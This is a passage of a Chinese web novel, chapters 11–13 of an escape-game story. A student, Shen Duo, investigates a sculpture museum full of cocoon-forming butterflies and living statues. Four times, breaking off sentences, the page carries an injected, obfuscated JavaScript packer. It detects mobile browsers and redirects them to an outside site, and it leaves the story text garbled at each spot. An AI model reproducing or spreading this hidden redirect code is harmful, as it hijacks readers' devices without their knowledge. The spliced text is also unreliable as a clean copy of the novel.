没有发现钟莹莹脸色难看得要命,陈文轩还很高兴:“当然不是,我说我查到了‘破茧’的老巢,但不是去过,这是两码事。钟小姐,你要严谨一点……” 钟莹莹本身就很不痛快,听他又开始指点自己,气不打一处来,“罗里吧嗦的,给我说重点!” 陈文轩被骂得一懵,这次说得简练多了。 “总而言之,我在那度过了两个月。因为保密协议,我们不可以将这件事告诉其他人,就算是我的导师,在出了实验室的大门以后,我也不能跟他再有相关的交流。但我又忍不住去想……” 可能在他以后的人生中,再也找不到比这更离奇的体验了,他怕自己忘记,所以就写在了纸上。 像作汇总报告一样,他把那次的经历总结为几点: 第一,这个项目,是对一种生物的研究。 一种蝴蝶。 没人见过这种蝴蝶,似乎是某一天突然出现在了城市上空,生物组给它起名为科斯克鲁蝶。 陈文轩自得道:“可以说,是我和我的导师给了它名字,科斯克鲁,这是一个单词的音译。Corkscrew,意为伟大的生命之螺旋,上升之螺旋。这种蝴蝶能让其宿主进化出全新的生命形态。” 第二,这种生命进化,类似于蝴蝶破茧。 科斯克鲁蝶让宿主完成生命进化的方式,是让它们和自己一样,拥有结茧和破茧的能力。说到这里,陈文轩脸色古怪,瞥了前方走着的沈铎一眼,无声示意钟莹莹走慢一点。沈铎还以为自己的窃听被发现了。 但很快,他就知道陈文轩想要避开的人是顾佳佳。 “那个大爷死掉的方式,让我开始怀疑商飞扬,怀疑他是不是和‘破茧’有联系。”怎么看,那种被石头包裹住的方式,都很像结了一层白色的茧皮。 陈文轩总结出的第三点,也是最重要的一点。 他不敢深想,一想就头皮发麻。 “我们当时做的生物实验都是用动物,没有在人身上用过。”说到这里,钟莹莹的脸色才好看了一些,她以为陈文轩这么熟悉商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119785|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞扬的作案方式,是因为他也干过。 “但我想,结茧既然差不多,破茧之后应该也有参考性。我们当时观察的那些动物,在茧里沉睡的时候,也像那个大爷,是死亡状态,没有呼吸,没有心跳……可当破茧反应出现之后,它就活了!” 一点点恢复,一点点鲜活。 等到完全破茧而出之后,它们就和结茧前没什么两样了。 钟莹莹:“既然和之前没区别,那算什么全新的生命体?” “我不好说,那些小动物,看起来是跟原来没差别,但你又能感觉到,它们身体里住进了别的东西……” 就算事情过去了这么久,再次回想起来,还是觉得颠覆三观,陈文轩吞咽了一下,让自己冷静下来。 “我在其他的实验组听过一个说法,说是破茧不会只有一次,可以一直持续下去,在层层进化之后,动物竟然能够接近全知全能的神明,说到这里你应该能明白了吧,这就是为什么官方把我们私下召集起来,去调查科斯克鲁蝶,它们能带来全新的进化,成为神明,谁能抗拒呢?” 钟莹莹默而不语,她仍旧觉得,这太丧心病狂了。 他们的交流,即便隔了很远,沈铎也能听到。 用过许愿瓶之后,他整个人的感知有了很大提升。系统说这是因为异能让他脱胎换骨了。 就像现在,他连陈文轩声调里的颤动都能听得一清二楚,“我还听说,那种神明,‘破茧’的人真的见到过……那种神明,好像叫做蝶母——!” 高空中响起窸窣响声,所有人都一惊。 “大哥哥,你看,那些星星……是不是在动啊?”顾佳佳指向高空,沈铎看见了。 在陈文轩说出蝶母以后,高空那些细细的蓝色星点诡异地扭动了起来,他们看不见那片高悬的黑暗中藏了什么,但能听到暗涌的低潮声反反复复。 这动静很大,就像头顶有一条蟒蛇极其缓慢地向前爬。 前面的人也发现了。 雕塑部队出现之后,他们这群人的神经都有些紧张。连吕凯都收起了暴躁的性子,站定看着天上。 终于,那片潮水裂开了一个细口。 一只漂亮的让人移不开眼的蓝蝶,从黑暗中飞了出来。 “……是蝴蝶。”顾佳佳松了口气。 关樊等人也松了口气。 只有沈铎和钟莹莹,因为陈文轩讲的蝴蝶实验,看到蓝蝶翩飞之后非但没有放松,反而更加紧绷起来。 在盯着蓝蝶的蝶翼时,沈铎似乎透过华丽繁复的花纹,看到了另一个画面。 天花板上隆起的巨大阴影其实是数以万计的蝴蝶一层又一层叠起,它们紧密聚集,拢成密不透风的巨型蜂巢,像幽蓝色的树瘤子倒悬在高顶,每一块阴影都有卡车那么巨大。 “……” 沈铎的心跳好像慢了半拍。 如果这就是天花板的真面目,那第一只蓝蝶已经醒来,其他的蝴蝶也会飞下来吗?如果它们全都飞下来,这成千上万的数量…… 窸窸窣窣的动静加快了。 他几乎瞬间抬脚。 “跑——!” 11. 蝴蝶雕塑馆11 -11- “呼啦”一闪。 墙上的烛火熄灭了。 猛一下沉到黑暗里,沈铎不自觉放慢了脚步。视觉不管用之后,听觉和嗅觉就变得很灵敏,凌乱的脚步,急促的呼吸,全都围绕着沈铎。 奇怪的是,他非但没有被影响,反而在乱糟糟一片里,脚步轻快起来,唇角飞扬带起了笑。 沈铎一直梦想着这一天。 他在现实里重复上学打卡,两点一线的生活。一个平平无奇的学生身份就能将他定义,这就是他迄今为止的人生。 虽然十七岁就说人生挺凡尔赛的。 但是他迷恋的漫画游戏,他所有能侃侃而谈的东西,在老师和家长那里得不到任何存在感。 哦,还是有的。但是是坏的存在感。 但现在,《逃生游戏》从天而降,把他从乏味的现实带走了,还给了他异能。虽然这个异能稍显鸡肋,但系统说了,有异能的玩家很少,再说,他玩游戏不是没遇到过天崩开局。 但就算带着最差的队友,拿着最烂的装备,他最后还是能赢。 没办法,沈铎就是这样一个正当热血的中二病。 想到这儿,他又有点上头。难道许愿瓶的影响还没有消失吗……等等。 这不正是一个开发异能的好时候吗? 系统正在面板上换了一身草裙,拿着两个花球为他打气:“加油加油,沈铎加油,你是最棒的,你又跑过了一个人——” “别喊了。”沈铎说:“我要用许愿瓶。” 系统本来在为他的冷淡抹泪,又听到这样一句话,有点疑惑为什么要在这个时候使用,“现在吗?” “要不等到安全场所吧?现在铺天盖地都是蝴蝶。” “我就是拿来试蝴蝶的。” 系统呆滞:“哎?” 沈铎已经拿到了许愿瓶,不像上次深吸一口,浅浅闻了一下就立刻合上,“上次灵魂出窍的时候,你说我的呼吸很浅,就像死人一样。” “嗯嗯,是的。” 沈铎:“蝴蝶能发现死人吗?” 系统:“……啊?” …… 它隐约猜到他要干吗了,看到他原地停下后更加确定——沈铎想看蝴蝶能不能发现死人一样的自己! 系统大为震惊:“就为这个,你就、你就使用了珍贵神圣的许愿瓶?!” 一共只有三次机会啊! “我刚才只是闻了一下。” “……所、所以呢?” “所以不算使用吧。” “……” “身为一个瓶子,居然连盖子都是松的,被玩家洒出来一点很正常的好吧。” “没人会洒出来的!” “我不信。” 怎么会洒出来啊!许愿瓶神圣至极,所有玩家都会把它捧在掌心一生一世供养,谁会像你一样拿来遛蝴蝶啊! 它怀着上坟般的心情去翻检沈铎的仓库,震惊地发现,许愿瓶的使用次数还是(2/3) 居然真的没被判定! 系统又一次呆滞了。 跟沈铎在一块以后,它似乎大脑空白太多次了……就像现在,它呆呆看着沈铎站在黑暗里,蓝蝶从他头顶呼啸而过,追逐前面发出尖叫和声响的人群去了。 有两三只警觉的蝴蝶停下来,在一动不动的沈铎身旁绕来绕去,系统仿佛能听到它们困惑的声音:“人?不。人?不……” 系统凑近一瞧,发现沈铎正在玩弄蝴蝶。一会呼吸,一会紧闭。收缩自如,老艺术家的从容。在他的操作下,蝴蝶一会察觉到有人,一会又没有,几次三番下来,晕头转向,在风中凌乱。 “人?不。人?不……人???啊啊啊啊!” 系统:“不要再玩了啊——!” 沈铎:“没有在玩,我在测试我的超能力。” 好吧。随你…… 系统现在有一种淡淡的荒谬感,同时又意识到沈铎做对了选择。 蝴蝶真的没有发现他,他还由此对异能有了更进一步的了解: 【异能名称:未知】 【异能所属:精神系】 【异能等级:未知】 …… 未知,未知。 在大片未知下,还有沈铎亲身尝试出来的已知: 【已知:在沈铎灵魂出窍的时候,身体会残存意识】 【已知:刚才的程度还不是极限】 他还有种预感,如果是正儿八经的异能,不是许愿瓶带来的能力,他说不定可以留一半神在原地,和其他人正常地交流,另一半神出发去调查。 至于怎么让这个调查效率最高,他有了一点想法,不过还得再试试。 搞定这些之后,沈铎很高兴。一路安全穿过走廊,沿着被席卷过的废墟来到了目的地,不远处的展览厅富丽堂皇,门口休整的正是被追得焦头烂额狼狈不堪的大部队,他们点人之后发现少了沈铎,都以为这个弱小的学生掉队了。 关樊更是拍掌叫好,猛然想起他哥还生死不明才尴尬停下。 谁知,商飞扬却看向远处,似笑非笑:“那不是你们要找的人吗?” 众人以为这又是商飞扬在耍花招,毕竟一群人中就只有他悠然自得,鬼知道蝴蝶是不是听他的话才攻击他们的。 但是走来的人影越来越清晰,不是沈铎又是谁? 陈文轩这才松了一口气,“你还好吗?有没有事……呃。” 他问得有点多余了。 刚才离得远没看清,沈铎身上居然没有一道伤痕,衣服和头发也没有乱。 精神看起来也很好,比他们这群喘气不止身上还有伤的人体面太多了,说他刚泡完温泉出来都有人相信。 “真怪啊,为什么蝴蝶不攻击你呢?”关樊嘲讽道:“不会是你搞的鬼吧?” 沈铎瞥他一眼,“没被攻击的又不止我一个,你难道怀疑商馆长也在暗中搞鬼?” 关樊:“你——” 商飞扬坐山观虎斗,不帮任何一个。不过,是不是他在操控蝴蝶,沈铎也不确定,正想近距离看看陈文轩身上的伤长什么样,商飞扬却转身离去。 “哎,商馆长?” 问话的人是吕凯。 沈铎看了他一眼。 吕凯是不是有点太安静了?跟在巴士车上判若两人。 “你们身后就是我的收藏大厅,馆内大部分雕塑都在里面,本次参观时长为一个小时,诸位请尽兴欣赏。”商飞扬似乎只为将他们带来这里,完成任务就走了。 一切都安静下来。 钟莹莹先开口:“……不如我们先进去?那群蝴蝶不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119786|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候又会出现。”她招呼的是陈文轩和沈铎,还牵起了顾佳佳。 关樊和吕凯因其恶劣行为,在钟莹莹这里无限扣分。 她可不想在一个全是雕塑的危险场所,将后背暴露给这些人。 不过,被她避着的人似乎也是这么想的。于是,进门之后,相看两厌的人自觉分成了两队,朝不同方向而去。 几人穿梭在重重雕塑之间,这些雕塑涵盖了大部分馆藏,有人有神亦有动物,并且没有栏杆红绳相隔,就像一群好朋友在欢乐聚会。 沈铎忽然走近陈文轩,吓了他一跳,发现沈铎只是在观察他身上的伤口,“这些蝴蝶,和普通的蝴蝶似乎不一样。” “不是科斯克鲁蝶吗?”钟莹莹道:“翅膀也是蓝色的。” 陈文轩嗤之以鼻,“如果是科斯克鲁,商飞扬早就珍而藏之了。这些只是和科斯克鲁外形相似的蓝蝶,不过……” 不过蓝蝶造成的伤痕,确实很像他在实验室见过的。全都有着乳白硬化的痕迹。微微透明,好像包着一层淡淡的茧皮。 陈文轩:“还记得我之前没说完的话吗?” 蝴蝶风暴意外袭来,将他们的对话打断了。 钟莹莹没好气道:“记得,你说就凭这些还不能断定商飞扬是‘破茧’的信徒,我请问呢,他都把会动的雕塑搬到你面前了,你还不相信?” 陈文轩认真道:“不。只凭这些是不够的。” 雕塑是会动,老人也确实离奇死亡,商飞扬本人更是古怪。但万一商飞扬是在哗众取宠呢?死去老人的外壳是坚硬的石头,和陈文轩印象中的科斯克鲁蝶结出的茧不一样。那些雕塑也不一样。 非要说的话,反而这种蓝蝶留下的伤口更像。 “我得找到雕塑上存在的证据,跟我脑子里的记忆完全符合,才能认定他和‘破茧’有联系。” “你是说,要在这茫茫的雕塑海洋里找到跟我们伤疤差不多的?”钟莹莹看向远处,额角青筋抽搐:“开什么玩笑,你没看到这里有多少雕塑吗?” “何况商飞扬还只给了我们一个小时的时间……” 陈文轩已经找起来了。 钟莹莹气得一跺脚,往另一个方向而去,她走得太急,都忘记带上顾佳佳。小女孩茫然无措,看来看去,最后还是跟上了沈铎。 沈铎侧目:“还要跟着我?” 顾佳佳嗯了一声,小声道:“可以吗?” “都行啊。” 顾佳佳发现,现在的沈铎似乎是(温柔版。 刚才那个是(狂妄版。 沈铎其实是在思考钟莹莹的话,在这么大的场馆内找起来,无疑大海捞针,很不现实。有没有可能通过其他办法找到呢?要不要用再试一试许愿瓶?不,我也不能总是依靠它……正在头脑风暴的沈铎听到系统紧张的提醒。 “呃……顾佳佳好像不见了。” 正要说话,系统更紧张了,“沈铎……你的手!” 手? 沈铎低头,看到他的手背不知何时起覆上透明的白霜,拉扯间还有微微痛感,就好像这层白霜是从他肉里长出来的,和他青色的血管鼓振呼吸。 “这是……”他一怔。 这是,和钟莹莹陈文轩身上一样的茧皮。 但他清楚记得,自己并没有受到蝴蝶攻击。 12. 蝴蝶雕塑馆12 -12- 系统:“难道是绕着你飞的那几只?” 沈铎摇头,“它们没碰到我。” 他又检查了身上其他地方,除了手背,耳朵后面也有一些。甚至还有一些难以启齿的部位,让沈铎彻底抛弃了蝴蝶作祟的想法。 这绝对不是蝴蝶干的。 “大……哥哥……”女孩的声音回荡在不远处,沈铎只得先算了:“干想也想不出来,先顾眼下吧。”商飞扬只给了一个小时呢。 顾佳佳不知道怎么跑前面去了,也不知道看到了什么,听起来很兴奋。 沈铎跟着她的声音绕过一片石头池子,出神地想,顾佳佳是不是恢复得太快了?不过,也有可能是用笑容来掩盖伤心…… 边走边想,顺便还检查了一下周围,但都没找到陈文轩说的那种雕塑。现在他手上有了对照物,排除起来飞快。 绕过一只威猛的战马雕塑,他终于看到了顾佳佳。 她正蹲在一片活灵活现的莲叶前。那片巨大的白色莲叶不知是什么材质雕刻,叶子滚着鲜活的水珠,顾佳佳指着那位蹲坐在莲叶前的采莲女,“大哥哥,这是不是陈叔叔要找的茧呢?” 沈铎不由看向那位采莲女。 其实这是一个雕像组合,由几片大荷叶子和一个女子组成。 采莲女半蹲在荷叶中,怀里抱着几只莲藕,头上插一朵残荷,荷花流出的水珠和她额头的汗珠并行而下,落在衣裙里像洒落的珍珠…… 即使系统早就解释过,他的视力因为使用异能得到了提升,但现在实打实的提升摆在了眼前,沈铎才发现,他的确已经脱胎换骨了。 他的眼睛就像一对高清摄像机,褶皱里滚落的粒米珍珠他都数得一清二楚。 因此,不用顾佳佳提醒,那些奇异而斑驳的茧皮自然而然呈现在了沈铎眼前——他控制不住兴奋,原来全息游戏是这种感觉。 “是的吧?”顾佳佳从他的表情上判断出来,自己误打误撞找对了,“那我去找他们过来!” 然后不等沈铎喊她,像一阵风似的飞走了。 沈铎看了一会,疑惑地嗯了一声。 有一个奇怪的发现:采莲女身上的茧皮,出现在手背、耳朵后,这和他身上刚长出来的白皮,是同样的位置。 这很奇怪。明明他们长得完全不一样,但因为有了同样的伤口,就像在面对面照镜子。仿佛他们互相脱离了性别和年龄,回归成玻璃柜里原始的胚胎。 沈铎低头,做了刚才一直想做的事,他用指甲掐断了正在手背上呼吸生长的白茧皮,撕裂的痛感立刻传来,让他嘶了一声。 还渗出了几条血丝。 这东西不会真是从他身上长出来的吧? 沈铎难以置信,又看了看采莲女手背上的白茧,对系统说道:“这东西,我在被关樊撞碎的雕塑身上也看到过。”当时他就是为了近距离观察才弯腰凑近的,没想到会被突然偷袭。回去的时候想再去看看,但那些雕塑碎块已经不见了。 采莲女和刚才那些会动的雕塑有什么区别呢? “煮熟的鸡蛋。” “什么?” 系统真是一点都跟不上沈铎的思维。 “我说,我们可以把刚才那些会动的雕塑看成是鸡蛋。白煮蛋。但是这个采莲女不是白煮蛋,她的壳被剥掉了。” 残存的白色茧皮就是剩下来难剥的那部分。 “我似乎有点明白了。” 系统非常好学,“我刚才去了你们地球的搜索引擎,搜出了白煮蛋被剥壳的图片。如果把人类看成里面的蛋白,白色的茧皮看成蛋壳,就能很好地理解了,沈铎,你举了一个很好的例子!” 沈铎很惊讶:“你是外星狗?!” “可以这么说吧。我们一族都在逃生游戏里当系统,是新的十二生肖,你以后会见到其他动物的。” 信息量真大,沈铎刚想说话,就听到陈文轩的声音:“天啊……” 顾佳佳把他们找过来了。陈文轩看着采莲女,半天语塞。 钟莹莹催促:“究竟是不是啊?” “是……是的,当然是!和我在实验室见过的一模一样!”陈文轩喜不自禁,“小沈,是你找到的吗?” “不是。是顾佳佳找到的。” 听到钟莹莹和陈文轩“做得好佳佳”的夸赞,顾佳佳不好意思地低下头。 钟莹莹咦了声,“但是,她好像不会动?” “那群雕塑大队,它们会走,还会打人,能听懂商飞扬的指令……好像更符合信徒们说的‘新生命’。” “你不懂了吧,钟小姐。科斯克鲁蝶让其他动物的破茧是这样完成的,首先,它会寄宿在动物体内,让那些无法结茧的动物能结茧重生,唔,就很像我们身上的这些东西。”陈文轩翻起手掌,“啊,已经消失了。果然那群蓝蝶不是科斯克鲁。” 钟莹莹和顾佳佳身上的白色伤口也已经消失了。 因为沈铎没有受伤,所以他们没检查他。但沈铎自己低头看了眼。 系统听到他低低的抽气声,“怎么了?” 长在他手背上的白茧皮没有消失,反而扩大了,往他的手背开始蔓延。沈铎低头看着,忽然感觉后背像是被某道视线蜇了一下,转身去看,陈文轩正对钟莹莹和顾佳佳讲述更多的破茧知识。 再看向更远处,就知道了恶意的来源。 吕凯和关樊来了。 一个小时的观赏时间很快过去,吕凯和关樊打算离开,但顾虑着走廊里危机重重,他们打算再找几个垫背的,馊主意让他们冰释前嫌,一拍而合。 他们这边收获比较丰富,整体的气氛还算愉快,和低气压的吕凯关樊形成了强烈对比。沈铎下意识感觉,吕凯整个人都和巴士车上不太一样了,他安静,与世无争,像是变了一个人。 沈铎与关樊擦肩而过时,听到他咬牙切齿:“我肯定要杀了你,你等着。” 哦,关樊还是那副死样子。 沈铎微微放慢速度,不露痕迹地靠近了关樊,发现心头的波动已荡然无存,在多次的尝试下,原身已不再受阴影控制。 他笑了起来,轻声道:“我等着。” 众人出了展览大厅,门在他们身后慢慢合上。沈铎从门缝里看着越来越小的雕塑们,视角抽离,仿佛升到高空,这些数量巨大的寡白雕塑群,在高处看去是不是也像一只巨大的茧呢?无数动物、植物和人类的白色蔓延到地板之中,渗透进更深的地方。 转过身,商飞扬已经在不远处提了一盏灯,幽静地等候着。 - “过来的时候路有这么难走吗?” “好多水啊……” 沈铎看向四周:走廊变得更暗了。 雕塑馆没有一丝外光泄入,电灯这种现代的设备,似乎只有会客厅和画室才有。他们现在深入的地方,只燃烧着火把和蜡烛。 好古老原始的照明方式…… 为什么呢? 环境也变得很原始,骤然从画室来到这里会很不适应。 长廊深不见底,阴沉潮湿,窗户都被封死,光渗不进来。就像这里有什么怪物沉睡着,它排斥光,排斥温暖,排斥一切打扰。 地面满是腐烂的落叶,层层叠叠,埋过他们的脚背,发出咯叽咯叽的笑声,是天然培育虫子的温床。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119787|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这么一想,沈铎的脚背微微发痒,像有什么东西爬上来了一样。 “沈铎,沈铎。”系统唤着他的名字,“这边检测到你的心跳剧烈得很不正常,你中幻觉了吗?” “没有啊。我在想事情。” 系统:“……” 你的脑子究竟能想多少事情啊! 沈铎:“我在想,有什么办法能验证我的身体素质也得到了提升。”刚才在采莲女那,他验证了自己的视力,其他都没试过。 蠢蠢欲试。 “这边为您检索了一下,最快的方式是与人搏斗。” 搏斗吗?沈铎想象了下自己帅气的画面,心跳得更快了,系统感觉他都要把自己给想死了。沈铎略略深呼吸几口气,才对系统诚恳道:“其实我一直有一个武打明星梦。” 系统:“……” 沈铎忍不住:“太帅了啊,不觉得吗?” 系统为了跟上沈铎的思维,又去搜索了。 “奇怪,蜡烛燃得好快……”越来越暗了,沈铎已经看不到队伍的影子,只听到钟莹莹的声音在前方响起。 “小沈,小沈?你在哪?” 沈铎没有回应陈文轩,怕关樊定位到他,阴他一手。 他把脚从湿叶堆拔出,叶子没有飘落,而是从他的裤腿和鞋子上流淌下来,像被什么粘稠的东西搅拌在一起又黏又重,和重力相互抗衡。沈铎正抬腿抖落,忽然一道劲风,从后脖颈闪电掠过。 太快了。 他下意识低头才堪堪避开。 他先是一惊,然后控制不住地手脚颤抖,“判官狗……你看到了吗?” 系统安抚年幼的选手,“没有,这里太暗了,我和你共享视觉,但你不必太害怕,咱们不能自乱——” 沈铎颤抖道:“我刚那一下是不是帅爆了?” “我是不是很像史泰龙?” 史泰龙又是谁啊!系统又去搜索了。 前方的队伍似乎没有察觉到这里发生的事,仍在平稳前行。沈铎睁大了眼,还是没看到是谁在攻击他。 视力提升似乎只限于清晰度,他无法在黑暗中辨别敌人。 “操——!沈铎!” 沈铎:? 关樊暴跳如雷:“你敢阴老子!” 噢。 看起来袭击他的不是关樊。 黑暗中,接二连三响起痛击友军的声音。这个突然出现的神秘人似乎对他们是无差别攻击。 别人都在紧张刺激地躲避,只有沈铎张望着,全神贯注等待下一次袭击。念头刚落,他腰往下塌,重心向后,上半身避开了强劲的拳风。 “唔——!” 他没想到对方的速度会这么快。 这到底什么东西……! 又是兴奋,又是激动。沈铎的心跳极限飙升,快要吓死系统。 又一道冰冷的劲风袭来,他往前一滚避开,靠着墙上一路闪躲,“啪啪!”的声响在耳边炸开,这人竟然还有武器! 受力面积很小,速度很快,是子弹吗? “啪!”又一枚炸得更近,他的脸颊瞬间冰凉。 冰凉? 沈铎下意识去摸自己的脸。 ……神秘人的“子弹”,好像是水? 还有一股甘甜的清香…… 像是……莲花的味道? “啪!” 沈铎侧头避开,在黑暗中被逼到死角的他连一秒都没停够,猛然转头前扑,那暗中用水弹偷袭他的人没料到他会像野狗一样狂扑,身形微微一滞,带着清香在空中乱舞的绸带已经被沈铎抓在了手中,他笑着喝道:“果然是你!” 13. 蝴蝶雕塑馆13 -13- “噗嚓——”火苗亮起。 关樊等人狼狈不堪,愕然地看着烛火照亮沈铎对面的“人”,她裙角斑白如石,脸漠然秀美,厌恶地扫了一眼燃起的火焰,随即决绝撕裂了绸带。 退到更黑暗的地方,警惕地盯着他们一行人。 沈铎手里的绸带正在飞速硬化,很快就变成了僵硬如石膏的东西。要不是就在他眼前发生,他真的很难相信,柔软的衣物会在顷刻间变成雕塑。 而僵硬的雕塑竟然能变成活人。 “她要跑了!”关樊大喊,语气充满庆幸,下一秒看到沈铎的动作又悚然一惊,“你追她干什么?!” 沈铎心想:人生难得遇到一个打手。 最好的打手,莫过于势均力敌。采莲女要是一脚能把他踢残废,他马上告辞,头也不回。但刚才试过了,她刚好能跟他打个平手,这不是上天恩赐的最好的教练吗? 这不是正好让他无痛变身史泰龙吗? 是男人,就无惧做梦! 沈铎的“教练别走!”被关樊理所应当看成了作大死,大骂了一声“有病吧!”转身就跑,哪知道采莲女无心恋战,见无法逼退沈铎,就换了个方向,朝着一看就是软柿子的两人奔来。 软柿子一吕凯:“……” 软柿子二关樊:“……” 采莲女略一停顿,就朝关樊飞来一脚,对沈铎而言平平无奇的一脚换到关樊身上,几乎让他当场呕血去世。 趁着关樊趴地不起,采莲女便从他留出的空当脱身离去,沈铎“哎哎哎”赶过来,连她一拳一脚都没承受,心痛得要死,看见成功挨打的关樊更是在心里捶胸顿足,默默骂了句没用的狗东西。 系统:“……” 要不是许愿瓶还是(2/3),它都要怀疑这家伙是不是又开挑衅了。 关樊人际圈混得极差,半天无人搀扶,吃了一嘴烂叶子狼狈爬起,大概是叶子烂太久了有毒性,回程路上安静得不行。 其他人也累得够呛,一路无话,除了沈铎。 大概没人知道,他现在的身体素质比威猛先生还要强悍,和采莲女打了几个来回之后还能跑能跳,不过,系统注意到,回去的路上沈铎不是很活跃。 “累着了吗?” 回到画室之后,它就向沈铎表示了关心。 谁知沈铎居然扯起嘴角,坏笑了起来,“嘿嘿嘿。” “?”不妙的预感。 “我又用了一下许愿瓶。” 用了一下,不是一次。看起来又是老赖式用法。系统瞄了眼,许愿瓶的次数还是(2/3),既然规则都未生效,那它也就睁一只眼闭一只眼了。 “您在何时使用的呢?” “我上次就在想,能不能灵魂出窍一半,又留一半。” 什么东西啊,你以为在大甩卖吗?! “于是这次我就先试了一下,我出窍了一点点。”沈铎比了一个指甲盖那么大,“分给了一只蝴蝶。” 系统觉得自己的狗嘴正在抽搐,“然后呢?” “我不是没追上采莲女吗,我想总不能让人白跑了,至少得知道她从哪来到哪去,所以就把蝴蝶留在了她身上。” 居然是当追踪定位器使用的吗?! “那你追踪到了吗?” 沈铎的脸一下垮了。 其实没他想得那么差,主要是初次尝试,难免生疏,蝴蝶又不是死物,它本身的意识会和沈铎的意识在身体里打架。当然,沈铎赢了,斗殴胜利的他驾驶着蝴蝶机猛猛向前,跟着采莲女又回到了那个展览大厅。 “看起来那就是她的老巢。”正当他想再观察一番时,迎面撞上了一只天使的神环,然后就光荣坠机了。 好在他残存的灵魂碎片在那片区域盘旋了片刻,因此察觉到采莲女没有去别的地方,她的痕迹在展览大厅消失了。 系统感觉自己又看了一集《大喵小汪向前冲》。 沈铎问:“《大喵小汪向前冲》是什么?” “是我们星球的动画片。” “当我没问。”沈铎说:“就算你再瞧不上,我本次驾驶还是很有收获的。” 【一,活物比死物更难控制】 【二,外力导致的灵魂回身要比自然而然的回身多出一些消散的时间,就像他的灵魂无处可去,在原地盘旋了一小会】 ——小沈の异能修炼笔记如是说。 “我先睡了。” 系统看着沈铎打了一个哈欠,又一次无视发给他的雕塑小碗打算睡觉,刚要给他敲一下警钟,就听到沈铎说:“就睡一会,晚上有大事呢。” “什么大事?”系统问道:“晚上不是不让出去……”啊,对现在的沈铎而言,身体出不去但灵魂却能无视规则。 它闭嘴了,操控着面板显化出的角色卡,伸出两只黄色小手,给沈铎掖了掖被角,又定好了闹钟。 听到沈铎嘟囔:“不知道为什么,每次用完许愿瓶,都巨累……” 掖被角的小黄手一顿。 其实,有一点,它没有告诉沈铎。 使用异能,其实是有一定风险的。使用许愿瓶更是有风险。这是因为异能已经与玩家本人深度绑定,异能也很具象,会出现名称、适用范围等等特性。但许愿瓶很抽象,飘忽不定,沈铎现在就在挖掘和尝试它的可能性。 等于说,他现在抱着一块随时会爆/炸的地雷,不断地调试。 在随时粉身碎骨的边缘试探。 可是,作为它这样的系统,最主要的职责就是鼓励玩家觉醒异能、进化异能,这句话还有另一句补充—— 不计任何代价。 即使是玩家的生命…… 它收起了小黄手,让角色卡躺平,不再做多余的事情,静静等待着时间过去。雕塑馆外的蒙蒙小雨变成了大雨,夜雨倾盆,室内变得更加潮湿,沈铎在闷热中被系统叫醒,“……时间到了?” 他嘱咐系统,一定要在九点的时候喊醒他。 “为什么是这个时候呢?” “第一夜,我好像听到了一些声音,后来想想,可能就是在那个时间点,顾大爷被商飞扬干掉了。” 大约就是九点。 “这是第二夜,让我看看,今晚有谁没睡觉。”沈铎拿出鼻烟壶一嗅,随即在床上倒下,出窍的灵魂再一次飘出门,浮在走廊上。 走廊空无一人。 难道是他记错了? 在空中悬浮片刻,沈铎决定先从他怀疑的对象下手。 他第一个找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119788|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是吕凯。 吕凯前后判若两人。给人的感觉就像,他之前有角色扮演的任务。在巴士车上,他必须扮演一个道德低下的拜金男,现在的他像泄了气的皮球,不再时时刻刻都端着表演舞台剧。 如果真是在演,那他想演给谁看呢? 沈铎穿过房门,吕凯就坐在沙发上,不时看向门口,仿佛在等什么人。 很快,响起了敲门声。 沈铎等不及他开门,先飘出去偷瞄,看到是谁之后,吓了一大跳。 居然是商飞扬。 想到上一次差点被他发现,沈铎连忙缩了回去,找地方躲了起来,藏身的窗帘很厚重,他以灵体的形态挤不进去,将自己缩得扁扁的才飘了进去。 刚站稳,就听到门吱嘎一声合上了。他微微探出头,勉强能看清夜幕下的两人。 有时候,人与人之间那种熟稔的感觉装不出来。在他们面前时,这两人似乎完全是陌生人。但现在,他们不用说太多话,一个眼神,一个动作就知道对方想说什么,沈铎也有这样的好朋友,所以他几乎一瞬间冒出想法。 